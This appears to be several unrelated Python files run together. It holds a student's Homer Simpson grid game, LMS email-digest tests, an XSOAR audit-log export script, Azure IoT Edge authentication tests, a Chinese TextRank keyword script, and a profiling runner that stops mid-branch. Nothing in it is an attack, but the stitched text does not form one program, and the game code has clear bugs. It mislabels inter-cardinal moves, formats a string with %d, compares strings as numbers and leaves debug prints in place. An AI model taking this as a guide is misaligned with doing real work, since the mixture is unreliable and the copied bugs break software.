# Name: Muhammad Taseer
# ID: 10146335
# Tutorial section: 11

#DESCRIPTION
#It's my  first game with a text based graphic interface and the goal is to make Homer reach Springfield without getting caught by the agents

#FEATURES
# 1. Displays an introduction at the beginning of the game, with game-play instructions
#*Done
# 2. Displays conclusion when game ends (specific to how game ends: quit, loss, win)
#*Done
# 3. Displays directional menu
#*Done
# 4. Loads start positions from file (after introduction)
#*Done
# 5. Homer character can move in the 4 compass directions (north, south, east, west)
#*Done
# 6. Error message is displayed if player tries to move Homer in an inter-cardinal direction
#*Done
# 7. Error message is displayed if player tries to enter a value higher than 9 for the direction
#*Done
# 8. Player can quit game by entering [0] at the directional menu
#*Done
# 9. Debugging mode implemented (flag toggles and at least one debugging message is displayed)
#*Done
# 10. Game prevents Homer from moving onto occupied squares (buildings)
#*Done
# 11. Homer can get distracted
#*Done
# 12. Lose game condition implemented: Homer drowns if moved onto water
#*Done
# 13. Lose game condition implemented: Homer can freeze in Alaska
#*Done
# 14. Lose game condition implemented: Homer captured by an EPA agent
#*Done
# 15. Win game condition implemented: Homer reaching Springfield
#*Done
# 16. EPA agents can move
#*Done

#LIMITATIONS
# The dimentions of the file

#############################################
#Receiving the file from input from the user#
#############################################

#CONSTANTS
import sys
import random

ROWS	  = 20
COLUMNS = 30
AGENTS = 6

# GameStatus 0 = still playing 1 = won, 2 = froze to death
# 3 = captured 4 = drowned *)

# Game states
BUILDING      = "#"
EMPTY         = " "
EPA_AGENT     = "E"
HOMER         = "H"
SPRINGFIELD   = "S"
WATER         = "~"

print("Intro")
print("""The goal of the game is to bring Homer from Alaska back to the town of Springfield.
However if Homer takes too long to travel out of Alaska he will freeze and the player loses the game.
Also if Homer moves into the water he drowns and the game is lost.
Finally the tireless agents of the EPA will try to capture Homer and if that occurs the game is lost.
The game will be run on a turn-by-turn basis. A turn elapses when: Homer moves or the player tries to move him,
Homer stays on the same square, or the player toggles the debugging mode on or off.
A turn won't pass if the player enters an erroneous value for the movement direction.""")

def displayWorld(aMaze):
	 print()
	 for r in range (0, ROWS,1):
		  for c in range (0, COLUMNS,1):
			   sys.stdout.write(aMaze[r][c])
		  print()

def fileInput():
	files= input("Enter name of input file: ")
	inputFile = open(files, "r")
	return inputFile
	inputFile.close()

def world():
	aMaze = [list(line.strip()) for line in fileInput()]
	return aMaze

def findPerson(value,aMaze):
	for rowNum, row in enumerate(aMaze):
		for colNum, person in enumerate(row):
			if (person == value):
				return (rowNum,colNum)

def command(aMaze):
	check = False                  #MOVES HOMER AND CHECKS DISTRACTION
	randomNum = random.randint(0,100)
	command = input("""Movement options, the numbers correspond to the 4 compass
directions (5 to not move). Or enter 0 to quit the game.
  8
4 5 6
  2
Enter movement direction: """)
	rowNum,colNum = findPerson(HOMER,aMaze)
	debug = False
	alaskaTime = 10
	timeSpent = 0
	dRow = rowNum
	dCol = colNum
	if (command == "0"):
		print("You quit the game")
	while (command != "0"):
		if (randomNum>25):

			if (command== "5"):
				dRow = rowNum
				dCol = colNum

			elif (command== "2"):
				dRow = rowNum+1
				dCol = colNum

			elif (command== "4"):
				dRow = rowNum
				dCol = colNum-1

			elif (command== "8"):
				dRow = rowNum-1
				dCol = colNum

			elif (command== "6"):
				dRow = rowNum
				dCol = colNum+1

			elif(int(command) < 0):
				debug = not debug
			elif (command == "1" or command == "3" or command == "5" or command == "7"):

				print("Can't move into cardinal direction")
			elif(command>"9"):
				print("Invalid command: %d, can't be higher than 9" %command)
				print("Please enter a proper command")
			else:
				print("Invalid command: ", command)
				print("Please enter a proper command")
				command = input("""Movement options, the numbers correspond to the 4 compass
directions (5 to not move). Or enter 0 to quit the game.
  8
4 5 6
  2
Enter movement direction: """)
			if (debug == True):
				print("<<<Number randomly generated = %d>>>" %randomNum)
				print("<<<Number = 1 - 25, Homer is distracted >>>")
				print("<<<Number = 26 to 100, Homer follows the player's movement instructions>>>")

			if(aMaze[dRow][dCol]!=BUILDING):
				if(aMaze[dRow][dCol]!=WATER):
					if(aMaze[dRow][dCol]!=SPRINGFIELD):
						if(aMaze[dRow-1][dCol-1]== EPA_AGENT or aMaze[dRow-1][dCol]== EPA_AGENT or aMaze[dRow-1][dCol+1]== EPA_AGENT):
							print("Homer got caught by the EPA Agents, game over.")
							exit()
						elif (aMaze[dRow][dCol-1]== EPA_AGENT or aMaze[dRow][dCol] == EPA_AGENT):
							print("Homer got caught by the EPA Agents, game over.")
							exit()
						elif (aMaze[dRow+1][dCol-1]== EPA_AGENT or aMaze[dRow+1][dCol]== EPA_AGENT or aMaze[dRow+1][dCol+1]== EPA_AGENT):
							print("Homer got caught by the EPA Agents, game over.")
							exit()

						moveH(rowNum,colNum,dRow,dCol,aMaze)
						if (dRow <=5):
							check = True
							print("1")
						else:
							check= False
							alaskaTime = 10
							timeSpent = 0
					else:
						moveH(rowNum,colNum,dRow,dCol,aMaze)
						print("Congratulations! You won the game")
						exit()
				else:
					moveH(rowNum,colNum,dRow,dCol,aMaze)
					print("Homer tried to go in the water and drowned, you lose")
					exit()
			else:
				if (dRow <=5):
					check = True
					print("2")
				else:
					check= False
					alaskaTime = 10
					timeSpent = 0
				print("Homer can't enter buildings")

		elif(randomNum<=25):
			if(int(command) < 0):
				debug = not debug

			if(command>"9"):
				print("Invalid command: %d, can't be higher than 9" %command)
				print("Please enter a proper command")
			elif(command == "2" or command == "4" or command == "5" or command == "6" or command == "8"):
				if (dRow <=5):
					check = True
					print("3")
				else:
					check= False
					alaskaTime = 10
					timeSpent = 0
			else:
				print("Invalid command: ", command)
				print("Please enter a proper command")
			if (debug == True):
				print("<<<Number randomly generated = %d>>>" %randomNum)
				print("<<<Number = 1 - 25, Homer is distracted >>>")
				print("<<<Number = 26 to 100, Homer follows the player's movement instructions>>>")
				print("<<<Homer becomes distracted and refuses to move >>>")
			elif(command == "5"):
				dRow = rowNum
				dCol = colNum
				moveH(rowNum,colNum,dRow,dCol,aMaze)
			else:

				print("Homer becomes distracted and refuses to move")

		if (check == True):
			alaskaTime = alaskaTime - 1
			timeSpent = timeSpent + 1
		print("Turns left before Homer freezes in Alaska: %d" %alaskaTime)
		print("Time spent in the Alaska: %d" %timeSpent)

		if (alaskaTime<=0 and dRow <=5):
			print("Homer froze to death")
			exit()

		agent(aMaze)
		displayWorld(aMaze)
		rowNum,colNum = findPerson(HOMER,aMaze)
		command = input("""Movement options, the numbers correspond to the 4 compass
directions (5 to not move). Or enter 0 to quit the game.
  8
4 5 6
  2
Enter movement direction: """)
		randomNum = random.randint(0,100)
	if (command == "0"):
		print("You quit the game")
		exit()

def moveH (sRow, sCol, dRow, dCol, aMaze):      #SUB MOVES HOMER
	aMaze[sRow][sCol] = EMPTY
	aMaze[dRow][dCol] = HOMER

def moveA  (sRow, sCol, dRow, dCol, aMaze):      #SUB MOVES 6 AGENTS

	aMaze[sRow][sCol] = EMPTY
	aMaze[dRow][dCol] = EPA_AGENT

def agent(aMaze):                             #MOVES 6 AGENTS
	for rowNum, row in enumerate(aMaze):
		for colNum, person in enumerate(row):
			if (person == EPA_AGENT):
				randomRowNum = random.randint(-1,1)
				randomColNum = random.randint(-1,1)
				dRow = rowNum+randomRowNum
				dCol = colNum+randomColNum
				if (aMaze[dRow][dCol]!=BUILDING and aMaze[dRow][dCol]!= WATER and aMaze[dRow][dCol]!= EPA_AGENT and aMaze[dRow][dCol]!= SPRINGFIELD):
						moveA(rowNum,colNum,dRow,dCol,aMaze)
				else:
					moveA(rowNum,colNum,rowNum,colNum,aMaze)
def start():
	aMaze = world()
	alaskaTime = 10
	timeSpent = 0
	print("Turns left before Homer freezes in Alaska: %d" %alaskaTime)
	print("Time spent in the Alaska: %d" %timeSpent)
	displayWorld(aMaze)
	command(aMaze)

start()


from dataclasses import asdict
from datetime import datetime
from unittest.mock import call, sentinel

import factory
import pytest
from freezegun import freeze_time
from h_matchers import Any

from lms.services.digest import (
    DigestContext,
    DigestService,
    UnifiedCourse,
    UnifiedUser,
    service_factory,
)
from lms.services.mailchimp import EmailRecipient, EmailSender
from tests import factories

class TestDigestService:
    @freeze_time("2023-04-30")
    def test_send_instructor_email_digests(
        self,
        svc,
        h_api,
        context,
        DigestContext,
        db_session,
        send_template,
        sender,
        email_unsubscribe_service,
    ):
        context.unified_users = UnifiedUserFactory.create_batch(2)
        digests = context.instructor_digest.side_effect = [
            {"total_annotations": 1},
            {"total_annotations": 2},
        ]

        svc.send_instructor_email_digests(
            sentinel.audience, sentinel.updated_after, sentinel.updated_before
        )

        h_api.get_annotations.assert_called_once_with(
            sentinel.audience, sentinel.updated_after, sentinel.updated_before
        )
        DigestContext.assert_called_once_with(
            db_session, sentinel.audience, tuple(h_api.get_annotations.return_value)
        )
        assert context.instructor_digest.call_args_list == [
            call(user.h_userid) for user in context.unified_users
        ]
        assert send_template.delay.call_args_list == [
            call(
                task_done_key=f"instructor_email_digest::{unified_user.h_userid}::2023-04-30",
                template_name="instructor-email-digest",
                sender=asdict(sender),
                recipient=asdict(
                    EmailRecipient(unified_user.email, unified_user.display_name)
                ),
                template_vars=digest,
                unsubscribe_url=email_unsubscribe_service.unsubscribe_url.return_value,
            )
            for unified_user, digest in zip(context.unified_users, digests)
        ]

    def test_send_instructor_email_digests_without_deduplication(
        self, svc, context, send_template
    ):
        context.unified_users = [UnifiedUserFactory()]
        context.instructor_digest.side_effect = [{"total_annotations": 1}]

        svc.send_instructor_email_digests(
            sentinel.audience,
            sentinel.updated_after,
            sentinel.updated_before,
            deduplicate=False,
        )

        # If deduplicate=True is passed to DigestService then it passes
        # task_done_key=None to send_template() which disables deduplication of
        # sent emails. This is used by admin pages that actually want to allow
        # you to send duplicate emails if requested.
        assert not send_template.delay.call_args.kwargs["task_done_key"]

    def test_send_instructor_email_digests_doesnt_send_empty_digests(
        self, svc, context, send_template
    ):
        context.unified_users = UnifiedUserFactory.create_batch(2)
        context.instructor_digest.return_value = {"total_annotations": 0}

        svc.send_instructor_email_digests(
            [sentinel.h_userid], sentinel.updated_after, sentinel.updated_before
        )

        send_template.delay.assert_not_called()

    def test_send_instructor_email_digests_ignores_instructors_with_no_email_address(
        self, svc, context, send_template
    ):
        context.unified_users = [UnifiedUserFactory(email=None)]
        context.instructor_digest.return_value = {"total_annotations": 1}

        svc.send_instructor_email_digests(
            sentinel.audience, sentinel.updated_after, sentinel.updated_before
        )

        send_template.delay.assert_not_called()

    @pytest.mark.usefixtures("email_unsubscribe_service")
    def test_send_instructor_email_digests_uses_override_to_email(
        self, svc, context, send_template
    ):
        context.unified_users = [UnifiedUserFactory()]
        context.instructor_digest.return_value = {"total_annotations": 1}

        svc.send_instructor_email_digests(
            sentinel.audience,
            sentinel.updated_after,
            sentinel.updated_before,
            override_to_email=sentinel.override_to_email,
        )

        assert (
            send_template.delay.call_args[1]["recipient"]["email"]
            == sentinel.override_to_email
        )

    @pytest.fixture(autouse=True)
    def DigestContext(self, patch):
        return patch("lms.services.digest.DigestContext")

    @pytest.fixture
    def context(self, DigestContext):
        return DigestContext.return_value

    @pytest.fixture
    def sender(self):
        return EmailSender(sentinel.subaccount, sentinel.from_email, sentinel.from_name)

    @pytest.fixture
    def h_api(self, h_api):
        h_api.get_annotations.return_value = [
            sentinel.annotation1,
            sentinel.annotation2,
        ]
        return h_api

    @pytest.fixture
    def svc(self, db_session, h_api, sender, email_unsubscribe_service):
        return DigestService(
            db=db_session,
            h_api=h_api,
            sender=sender,
            email_unsubscribe_service=email_unsubscribe_service,
        )

class TestDigestContext:
    def test_instructor_digest(self, db_session, make_instructor):
        courses = factories.Course.create_batch(2)
        instructor, learner = factories.User.create_batch(2)
        for course in courses:
            make_instructor(instructor, course)
        annotations = [
            *Annotation.create_batch(
                2,
                authority_provided_id=courses[0].authority_provided_id,
                userid=learner.h_userid,
            ),
            Annotation(
                authority_provided_id=courses[1].authority_provided_id,
                userid=learner.h_userid,
            ),
        ]
        context = DigestContext(db_session, [instructor.h_userid], annotations)

        digest = context.instructor_digest(instructor.h_userid)

        assert digest == {
            "total_annotations": 3,
            "courses": Any.list.containing(
                [
                    {"title": courses[0].lms_name, "num_annotations": 2},
                    {"title": courses[1].lms_name, "num_annotations": 1},
                ]
            ).only(),
        }

    def test_instructor_digest_removes_courses_with_no_learner_annotations(
        self, db_session, make_instructor
    ):
        course = factories.Course()
        instructor = factories.User()
        make_instructor(instructor, course)
        annotations = [
            Annotation(
                authority_provided_id=course.authority_provided_id,
                userid=instructor.h_userid,
            )
        ]
        context = DigestContext(db_session, [instructor.h_userid], annotations)

        digest = context.instructor_digest(instructor.h_userid)

        assert digest == {"total_annotations": 0, "courses": []}

    def test_instructor_digest_omits_courses_where_the_user_isnt_an_instructor(
        self, db_session, make_instructor
    ):
        course, other_course = factories.Course.create_batch(2)
        instructor, learner = factories.User.create_batch(2)
        make_instructor(instructor, other_course)
        annotations = [
            Annotation(
                authority_provided_id=course.authority_provided_id,
                userid=learner.h_userid,
            )
        ]
        context = DigestContext(db_session, [instructor.h_userid], annotations)

        digest = context.instructor_digest(instructor.h_userid)

        assert digest == {"total_annotations": 0, "courses": []}

    def test_unified_users(self, db_session):
        audience = factories.User.create_batch(2)
        context = DigestContext(db_session, [user.h_userid for user in audience], [])

        unified_users = context.unified_users

        assert unified_users == [
            UnifiedUser(h_userid=user.h_userid, email=Any(), display_name=Any())
            for user in audience
        ]
        assert context.unified_users is unified_users

    def test_unified_users_with_no_audience_or_annotations(self, db_session):
        context = DigestContext(db_session, [], [])

        assert context.unified_users == []

    def test_unified_users_ignores_duplicate_userids(self, db_session):
        user = factories.User()
        context = DigestContext(
            db_session,
            [user.h_userid, user.h_userid],
            Annotation.create_batch(2, userid=user.h_userid),
        )

        unified_users = context.unified_users

        assert unified_users == [
            UnifiedUser(h_userid=user.h_userid, email=Any(), display_name=Any())
        ]

    @pytest.mark.parametrize(
        "users,expected_email",
        [
            # It uses the most recent email.
            (
                [
                    factories.User.build(
                        h_userid="id",
                        email="email@example.com",
                        updated=datetime(year=2024, month=1, day=2),
                    ),
                    factories.User.build(
                        h_userid="id",
                        email="older@example.com",
                        updated=datetime(year=2024, month=1, day=1),
                    ),
                ],
                "email@example.com",
            ),
            # It uses None if we have no email for the user.
            (
                [factories.User.build(h_userid="id", email=None)],
                None,
            ),
            # If the most recent user has no email it falls back to an older one.
            (
                [
                    factories.User.build(
                        h_userid="id",
                        email=None,
                        updated=datetime(year=2024, month=1, day=2),
                    ),
                    factories.User.build(
                        h_userid="id",
                        email="email@example.com",
                        updated=datetime(year=2024, month=1, day=1),
                    ),
                ],
                "email@example.com",
            ),
        ],
    )
    def test_unified_users_email(self, db_session, users, expected_email):
        db_session.add_all(users)

        context = DigestContext(db_session, ["id"], [])

        assert context.unified_users == Any.list.containing(
            [
                Any.instance_of(UnifiedUser).with_attrs(
                    {"h_userid": "id", "email": expected_email}
                )
            ]
        )

    @pytest.mark.parametrize(
        "users,expected_display_name",
        [
            # It uses the most recent display name.
            (
                [
                    factories.User.build(
                        h_userid="id",
                        display_name="most_recent",
                        updated=datetime(year=2024, month=1, day=2),
                    ),
                    factories.User.build(
                        h_userid="id",
                        display_name="older",
                        updated=datetime(year=2024, month=1, day=1),
                    ),
                ],
                "most_recent",
            ),
            # It uses None if we have no display name for the user.
            (
                [factories.User.build(h_userid="id", display_name=None)],
                None,
            ),
            # If the most recent user has no display name it falls back to an older one.
            (
                [
                    factories.User.build(
                        h_userid="id",
                        display_name=None,
                        updated=datetime(year=2024, month=1, day=2),
                    ),
                    factories.User.build(
                        h_userid="id",
                        display_name="display_name",
                        updated=datetime(year=2024, month=1, day=1),
                    ),
                ],
                "display_name",
            ),
        ],
    )
    def test_unified_users_display_name(self, db_session, users, expected_display_name):
        db_session.add_all(users)

        context = DigestContext(db_session, ["id"], [])

        assert context.unified_users == Any.list.containing(
            [
                Any.instance_of(UnifiedUser).with_attrs(
                    {"h_userid": "id", "display_name": expected_display_name}
                )
            ]
        )

    def test_unified_courses(self, db_session, make_instructor, make_learner):
        course = factories.Course()
        instructors = factories.User.create_batch(2)
        for instructor in instructors:
            make_instructor(instructor, course)
        learner = factories.User()
        make_learner(learner, course)
        section = factories.CanvasSection(parent=course)
        annotations = [
            Annotation(
                authority_provided_id=grouping.authority_provided_id,
                userid=learner.h_userid,
            )
            for grouping in (course, course, section, section)
        ]
        context = DigestContext(
            db_session, [instructor.h_userid for instructor in instructors], annotations
        )

        unified_courses = context.unified_courses

        assert unified_courses == [
            Any.instance_of(UnifiedCourse).with_attrs(
                {
                    "authority_provided_id": course.authority_provided_id,
                    "instructor_h_userids": Any.tuple.containing(
                        [instructor.h_userid for instructor in instructors]
                    ).only(),
                    "learner_annotations": Any.tuple.containing(annotations).only(),
                }
            )
        ]
        assert context.unified_courses is unified_courses

    def test_unified_courses_with_multiple_groupings(self, db_session):
        instances = factories.ApplicationInstance.create_batch(2)
        # Two courses with the same authority_provided_id but different instances.
        courses = [
            factories.Course.create(
                authority_provided_id="course_id", application_instance=instance
            )
            for instance in instances
        ]
        sub_groupings = [
            # Two sub-groups with different authority_provided_id's belonging
            # to the same instance and course. (This happens for example when a
            # Canvas course has two sections.)
            *factories.CanvasSection.create_batch(
                2,
                application_instance=courses[0].application_instance,
                parent=courses[0],
            ),
            # Two sub-groups with the same authority_provided_id but different
            # instances, and belonging to courses that have the same course
            # authority_provided_id but different instances. (This happens for
            # example when a Canvas instance has two application instances both
            # used in groups assignments in the same course.)
            *[
                factories.CanvasGroup(
                    authority_provided_id="subgroup_id",
                    application_instance=course.application_instance,
                    parent=course,
                )
                for course in courses
            ],
        ]
        annotations = [
            Annotation(authority_provided_id=grouping.authority_provided_id)
            for grouping in courses + sub_groupings
        ]
        context = DigestContext(db_session, [], annotations)

        assert context.unified_courses == [
            Any.instance_of(UnifiedCourse).with_attrs(
                {
                    "authority_provided_id": "course_id",
                    "learner_annotations": Any.tuple.of_size(6),
                }
            )
        ]

    def test_unified_courses_with_no_annotations(self, db_session):
        context = DigestContext(db_session, [], [])

        assert context.unified_courses == []

    def test_unified_courses_title(self, db_session):
        courses = [
            factories.Course.build(
                authority_provided_id="id",
                lms_name="most_recent",
                updated=datetime(year=2024, month=1, day=2),
            ),
            factories.Course.build(
                authority_provided_id="id",
                lms_name="older",
                updated=datetime(year=2024, month=1, day=1),
            ),
        ]
        db_session.add_all(courses)
        context = DigestContext(
            db_session,
            [],
            [
                Annotation(authority_provided_id=course.authority_provided_id)
                for course in courses
            ],
        )

        assert context.unified_courses == Any.list.containing(
            [
                Any.instance_of(UnifiedCourse).with_attrs(
                    {
                        "authority_provided_id": "id",
                        "title": "most_recent",
                    }
                )
            ]
        )

    def test_unified_courses_doesnt_count_learners(self, db_session, make_learner):
        course = factories.Course()
        learner = factories.User()
        make_learner(learner, course)
        annotation = Annotation(
            authority_provided_id=course.authority_provided_id, userid=learner.h_userid
        )
        context = DigestContext(db_session, [], [annotation])

        assert context.unified_courses == [
            Any.instance_of(UnifiedCourse).with_attrs({"instructor_h_userids": ()})
        ]

    def test_unified_courses_doesnt_count_instructor_annotations(
        self, db_session, make_instructor
    ):
        course = factories.Course()
        instructor = factories.User()
        make_instructor(instructor, course)
        annotation = Annotation(
            authority_provided_id=course.authority_provided_id,
            userid=instructor.h_userid,
        )
        context = DigestContext(db_session, [], [annotation])

        assert context.unified_courses == [
            Any.instance_of(UnifiedCourse).with_attrs({"learner_annotations": ()})
        ]

    def test_unified_courses_doesnt_count_instructors_from_other_courses(
        self, db_session, make_instructor
    ):
        course, other_course = factories.Course.create_batch(2)
        user = factories.User()
        # `user` is an instructor in `other_course`.
        make_instructor(user, other_course)
        # `user` is a learner in `course` and has created an annotation.
        annotation = Annotation(
            authority_provided_id=course.authority_provided_id,
            userid=user.h_userid,
        )
        context = DigestContext(db_session, [], [annotation])

        assert context.unified_courses == [
            Any.instance_of(UnifiedCourse).with_attrs(
                {"instructor_h_userids": (), "learner_annotations": (annotation,)}
            )
        ]

    def test_unified_courses_doesnt_count_annotations_from_other_courses(
        self, db_session
    ):
        course, other_course = factories.Course.create_batch(2)
        course_annotation = Annotation(
            authority_provided_id=course.authority_provided_id
        )
        other_course_annotation = Annotation(
            authority_provided_id=other_course.authority_provided_id
        )
        context = DigestContext(
            db_session, [], [course_annotation, other_course_annotation]
        )

        assert context.unified_courses == Any.list.containing(
            [
                Any.instance_of(UnifiedCourse).with_attrs(
                    {"learner_annotations": (course_annotation,)}
                )
            ]
        )

    def test_unified_courses_ignores_unknown_authority_provided_ids(self, db_session):
        context = DigestContext(
            db_session, [], [Annotation(authority_provided_id="unknown")]
        )

        assert context.unified_courses == []

class TestServiceFactory:
    def test_it(self, pyramid_request, h_api, DigestService, email_unsubscribe_service):
        settings = pyramid_request.registry.settings
        settings["mailchimp_digests_subaccount"] = sentinel.digests_subaccount
        settings["mailchimp_digests_email"] = sentinel.digests_from_email
        settings["mailchimp_digests_name"] = sentinel.digests_from_name

        service = service_factory(sentinel.context, pyramid_request)

        DigestService.assert_called_once_with(
            db=pyramid_request.db,
            h_api=h_api,
            sender=EmailSender(
                sentinel.digests_subaccount,
                sentinel.digests_from_email,
                sentinel.digests_from_name,
            ),
            email_unsubscribe_service=email_unsubscribe_service,
        )
        assert service == DigestService.return_value

    @pytest.fixture
    def DigestService(self, patch):
        return patch("lms.services.digest.DigestService")

class Annotation(factory.Factory):
    """
    A factory for annotation dicts.

    >>> Annotation()
    {'author': {'userid': 'acct:user_1@lms.hypothes.is'}, 'group': {'authority_provided_id': 'group_1'}}
    >>> Annotation(userid='acct:custom_username@lms.hypothes.is')
    {'author': {'userid': 'acct:custom_username@lms.hypothes.is'}, 'group': {'authority_provided_id': 'group_2'}}
    >>> Annotation(authority_provided_id='custom_id')
    {'author': {'userid': 'acct:user_2@lms.hypothes.is'}, 'group': {'authority_provided_id': 'custom_id'}}
    """

    class Meta:
        model = dict

    userid = factory.Sequence(lambda n: f"acct:user_{n}@lms.hypothes.is")
    authority_provided_id = factory.Sequence(lambda n: f"group_{n}")

    @factory.post_generation
    def post(obj, *_args, **_kwargs):  # pylint:disable=no-self-argument
        # pylint:disable=unsupported-assignment-operation,no-member
        obj["author"] = {"userid": obj.pop("userid")}
        obj["group"] = {"authority_provided_id": obj.pop("authority_provided_id")}
        return obj

class UnifiedUserFactory(factory.Factory):
    class Meta:
        model = UnifiedUser

    h_userid = factory.Sequence(lambda n: f"acct:user_{n}@lms.hypothes.is")
    email = factory.Sequence(lambda n: f"user_{n}@example.com")
    display_name = factory.Sequence(lambda n: f"User {n}")

@pytest.fixture
def instructor_role():
    return factories.LTIRole(value="Instructor")

@pytest.fixture
def learner_role():
    return factories.LTIRole(value="Learner")

@pytest.fixture
def make_instructor(db_session, instructor_role):
    def make_instructor(user, course):
        """Make each user in `users` an instructor in `course`."""
        assignment = factories.Assignment()
        factories.AssignmentGrouping(assignment=assignment, grouping=course)
        factories.AssignmentMembership(
            assignment=assignment, user=user, lti_role=instructor_role
        )
        db_session.flush()

    return make_instructor

@pytest.fixture
def make_learner(db_session, learner_role):
    def make_learner(user, course):
        """Make `user` a learner in `course`."""
        assignment = factories.Assignment()
        factories.AssignmentGrouping(assignment=assignment, grouping=course)
        factories.AssignmentMembership(
            assignment=assignment, user=user, lti_role=learner_role
        )
        db_session.flush()

    return make_learner

@pytest.fixture(autouse=True)
def send_template(patch):
    return patch("lms.services.digest.send_template")


import demistomock as demisto  # noqa: F401
from CommonServerPython import *  # noqa: F401
import csv
import io
import json
from datetime import date, timedelta

def main():   # pragma: no cover
    # get the file type
    file_type = demisto.args().get("output")

    # set time back for fetching
    fetch_back_date = date.today() - timedelta(days=int(demisto.args().get("days_back")))
    fetch_from = fetch_back_date.strftime("%Y-%m-%dT00:00:00Z")
    file_date = fetch_back_date.strftime("%Y-%m-%d")

    # body of the request
    body = {
        'fromDate': fetch_from,
        'query': "",
        'page': 0,
        'size': 100
    }

    # get the logs
    res = demisto.executeCommand("demisto-api-post", {"uri": "/settings/audits", "body": body})[0]["Contents"][
        "response"]

    # set the initial counts
    total = res.get('total', 0)
    audits = res.get('audits', [])
    count = 1

    # if there are more events than the default size, page through and get them all
    while len(audits) < total:
        body['page'] = count
        res = demisto.executeCommand("demisto-api-post", {"uri": "/settings/audits", "body": body})[0]["Contents"][
            "response"]
        audits.extend(res.get('audits', []))
        count += 1
        # break if this goes crazy, if there are more than 100 pages of audit log entries.
        if count == 100:
            break

    if file_type == "csv":
        # write the results to a CSV
        si = io.StringIO()
        cw = csv.writer(si)

        # write header row
        cw.writerow(["Log"])

        # write the rows for each asset
        for audit in audits:
            cw.writerow([audit, ])

        # return the file
        data = si.getvalue().strip('\r\n')
        demisto.results(fileResult(f"xsoar-audit-logs-{file_date}.csv", data.encode('utf-8')))
    else:
        demisto.results(fileResult(f"xsoar-audit-logs-{file_date}.json", json.dumps(audits)))

    # return the results
    demisto.results(f"Fetched {len(audits)} audit log events since {fetch_from}")

if __name__ in ('__main__', '__builtin__', 'builtins'):
    main()


# -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------------

import os
from azure.iot.hub.devicesdk.auth.iotedge_authentication_provider import (
    IotEdgeAuthenticationProvider,
)
from mock import patch

fake_ca_cert = "__FAKE_CA_CERTIFICATE__"
fake_module_id = "__FAKE_MODULE_ID__"
fake_device_id = "__FAKE_DEVICE_ID__"
fake_hostname = "__FAKE_HOSTNAME__"
fake_gateway_hostname = "__FAKE_GATEWAY_HOSTNAME__"
fake_digest = "__FAKE_DIGEST__"

required_environment_variables = {
    "IOTEDGE_MODULEID": fake_module_id,
    "IOTEDGE_DEVICEID": fake_device_id,
    "IOTEDGE_IOTHUBHOSTNAME": fake_hostname,
    "IOTEDGE_GATEWAYHOSTNAME": fake_gateway_hostname,
}

@patch.dict(os.environ, required_environment_variables)
@patch("azure.iot.hub.devicesdk.auth.iotedge_authentication_provider.IotEdgeHsm")
def test_initializer_gets_details_from_environment(mock_hsm):
    auth_provider = IotEdgeAuthenticationProvider()
    assert auth_provider.gateway_hostname == fake_gateway_hostname
    assert auth_provider.device_id == fake_device_id
    assert auth_provider.module_id == fake_module_id
    assert auth_provider.hostname == fake_hostname

@patch.dict(os.environ, required_environment_variables)
@patch("azure.iot.hub.devicesdk.auth.iotedge_authentication_provider.IotEdgeHsm")
def test_initializer_gets_ca_certificate_from_hsm(MockHsm):
    MockHsm.return_value.get_trust_bundle.return_value = fake_ca_cert
    auth_provider = IotEdgeAuthenticationProvider()
    assert auth_provider.ca_cert == fake_ca_cert

@patch.dict(os.environ, required_environment_variables)
@patch("azure.iot.hub.devicesdk.auth.iotedge_authentication_provider.IotEdgeHsm")
def test_get_shared_access_key_uses_hsm_to_sign(MockHsm):
    MockHsm.return_value.sign.return_value = fake_digest
    auth_provider = IotEdgeAuthenticationProvider()
    try:
        sas_token = auth_provider.get_current_sas_token()
        assert MockHsm.return_value.sign.call_args[0][0].startswith(
            "{}%2Fdevices%2F{}%2Fmodules%2F{}\n".format(
                fake_hostname, fake_device_id, fake_module_id
            )
        )
        assert sas_token.startswith(
            "SharedAccessSignature sr={}%2Fdevices%2F{}%2Fmodules%2F{}&sig={}&se=".format(
                fake_hostname, fake_device_id, fake_module_id, fake_digest
            )
        )
    finally:
        auth_provider.disconnect()


# -*- coding:utf-8 -*-
# Title: 关键词分布
# Author: 刘芮 软件工程 1835200835Z1006
# Method: TextRank

import jieba
import nltk
from textrank4zh import TextRank4Keyword
from nltk.draw import dispersion_plot

# matplotlib画图显示中文
# from matplotlib.font_manager import _rebuild
# _rebuild()

def find_words(file_path):
    tr4w = TextRank4Keyword()
    f = open(file_path,'r',encoding='utf8')
    raw = ''.join(f.read())
    f.close()
    words = jieba.cut(raw)
    stopwords = [line.strip() for line in open(
        'stopwords_lyrics.txt', 'r', encoding='utf-8').readlines()]
    words_list = []
    for word in words:
        if word and word != '\n' and word not in stopwords:
            words_list.append(word)
    text = ''.join(words_list)
    tr4w.analyze(text=text, lower=True, window=3)
    keywords = [w['word'] for w in tr4w.get_keywords(num=5,word_min_len=2)]
    return keywords,words_list

if __name__ == '__main__':
    #用给定的forkeywords语料库进行关键词提取
    file_path_chinese = './textrank/lyrics_romantic_chinese.txt'
    keywords_chinese,words_list_chinese = find_words(file_path_chinese)
    text_chinese = nltk.Text(words_list_chinese)
    dispersion_plot(text_chinese, keywords_chinese,title='标签为“浪漫”的中文歌词关键词分布')

    file_path_english = './textrank/lyrics_romantic_english.txt'
    keywords_english, words_list_english = find_words(file_path_english)
    text_english = nltk.Text(words_list_english)
    dispersion_plot(text_chinese, keywords_english, title='标签为“浪漫”的英文歌词关键词分布')

    # 用自己爬取的歌词语料库进行关键词提取
    file_path_politics = './textrank/C38-Politics1142.txt'
    keywords_politics, words_list_politics = find_words(file_path_politics)
    text_politics = nltk.Text(words_list_politics)
    dispersion_plot(text_politics, keywords_politics, title='C38-Politics1142.txt的关键词分布')

    file_path_art = './textrank/C3-Art1319.txt'
    keywords_art, words_list_art = find_words(file_path_art)
    text_art = nltk.Text(words_list_art)
    dispersion_plot(text_art, keywords_art, title='C3-Art1319.txt的关键词分布')


import os
import sys
from bess_runner import run_test
from plot_profile import plot_nf_profile

pkt_size_samples = [1050]
pkt_rate_samples = range(100000, 1100000, 100000)
flow_count_samples = range(1000, 21000, 500)

def main():
    run_test("nfvctrl/profile_chain4", pkt_size_samples, pkt_rate_samples, flow_count_samples)

if __name__ == "__main__":
    if len(sys.argv) == 1:
        main()
    else:
        print(sys.argv)
        if sys.argv[1] == "plot" and len(sys.argv) == 3:
            file_name = sys.argv[2]
            plot_nf_profile(file_name)
        elif sys.argv[1] == "exp" and len(sys.argv) == 3:
